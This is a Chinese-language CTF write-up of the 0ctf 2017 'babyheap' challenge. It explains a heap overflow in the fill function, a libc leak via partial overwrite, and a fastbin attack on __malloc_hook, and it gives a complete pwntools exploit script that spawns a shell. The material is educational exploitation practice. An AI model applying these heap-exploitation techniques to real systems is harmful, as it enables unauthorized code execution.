0ctf Quals 2017的babyheap是另一道fasten dup into stack的题目,但是具体的做法和栈没什么关系。二进制文件在这里:0ctfbabyheap

Reversing

Checksec:

1
2
3
4
5
6
[*] '/ctf/work/0ctfbabyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开。

程序的功能比较简单:

1
2
3
4
5
6
7
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

allocate可以分配任意大小的chunk,结构为:

1
2
3
4
5
struct data{
int inuse;
int size;
char* string;
}

fill、free、dump都会检查inuse位,free之后也会置NULL。程序的漏洞在于fill的时候可以填充任意长度,而不是填充allocate时候设置的长度,导致堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = read_int();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 ) // if inuse
{
printf("Size: ");
result = read_int();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = my_read(*(_QWORD *)(24LL * v2 + a1 + 16), v3);// overflow
}
}
}
return result;
}

Leak with partial write

漏洞很明显,难点在于如何泄露地址。

  • bin的fd或者bk可以有地址,但是inuse=0,没有use after free的漏洞,无法直接通过dump泄露
  • 分配一些相连的小chunk再free,分配一个大的chunk包含这些bins,如果是malloc的话似乎就会有地址在其中,但是程序是通过calloc来分配的,内容会被清空,仍旧无法leak(这个leak的方法没有试过,mark)
  • 另外,程序开启了PIE

这里可以想到,对抗PIE的一个手法就是partial write。如果我们已经有一个bin了,通过partial write可以修改fd的最低位,从而使得fd指向另一个chunk,进而达到两个指针指向同一个chunk的效果,假如为ptr1和ptr2。通过free(ptr1),使得chunk中包含了libc地址,而ptr2没有被free,这样dump ptr2的chunk就可以泄露地址了。

Fastbin attack

有了libc地址,由于RELRO全开,只能改malloc_hook了。想要劫持fd指针也很简单,只要最开始分配一个chunk,通过该chunk可以编辑后续的所有chunk。之后one gadget即可getshell。

完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
import sys

context.terminal=["tmux", "sp", "-h"]
context.log_level='debug'

DEBUG = False

LOCAL = True
BIN = './0ctfbabyheap'
HOST = '127.0.0.1'
PORT = 1234

def add(size):
p.sendlineafter(': ', '1')
p.sendlineafter(': ', str(size))

def fill(index, size, data):
p.sendlineafter(': ', '2')
p.sendlineafter(': ', str(index))
p.sendlineafter(': ', str(size))
p.sendafter(': ', data)

def delete(index):
p.sendlineafter(': ', '3')
p.sendlineafter(': ', str(index))

def dump(index):
p.sendlineafter(': ', '4')
p.sendlineafter(': ', str(index))


def exploit(p):

add(0x20) # 0
add(0x20) # 1
add(0x20) # 2
add(0x20) # 3
add(0x80) # 4
delete(1)
delete(2)
pl = 5*p64(0)+p64(0x31)+5*p64(0)+p64(0x31)+'\xc0'
fill(0, len(pl), pl)
add(0x20) # 1
pl = 5*p64(0)+p64(0x31)+5*p64(0)+p64(0x31)+5*p64(0)+p64(0x31)+5*p64(0)+p64(0x31)
fill(0, len(pl), pl)
add(0x20) # 2
pl = 5*p64(0)+p64(0x31)+5*p64(0)+p64(0x31)+5*p64(0)+p64(0x31)+5*p64(0)+p64(0x91)
fill(0, len(pl), pl)
'''
now chunk 2 and chunk 4 both point to small chunk
'''
add(0x80) # 5 avoid marge
delete(4)
dump(2)
p.recvuntil('\n')
leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak: '+hex(leak))
main_arena = leak-88
libc_base = leak-0x7f6655f11b78+0x7f6655b4d000
log.info('libc: '+hex(libc_base))
log.info('main_arena: '+hex(main_arena))
add(0x60) # 4
add(0x60) # 6
add(0x60) # 7
add(0x60) # 8
add(0x60) # 9
add(0x60) # 10
delete(8)
delete(9)
pl = 13*p64(0)+p64(0x71)+13*p64(0)+p64(0x71)+p64(main_arena-0x33)
fill(7, len(pl), pl)
add(0x60)
one = libc_base+0x4526a
pl = ( 0x7f831233e000+0x3c4b10-0x7f8312702afd)*'a'+p64(one)
add(0x60)
fill(9, len(pl), pl)
add(0x20)

p.interactive()

return

if __name__ == "__main__":
elf = ELF('./0ctfbabyheap')
if len(sys.argv) > 1:
LOCAL = False
p = remote(HOST, PORT)
exploit(p)
else:
LOCAL = True
p = process('./0ctfbabyheap')
if DEBUG:
gdb.attach(p)
exploit(p)

在leak libc的阶段,fd指向了0x80的chunk,此时size=0x91,所以在add(0x20)之前通过堆溢出把size改成0x31绕过检查,之后再改回0x91即可。

Ref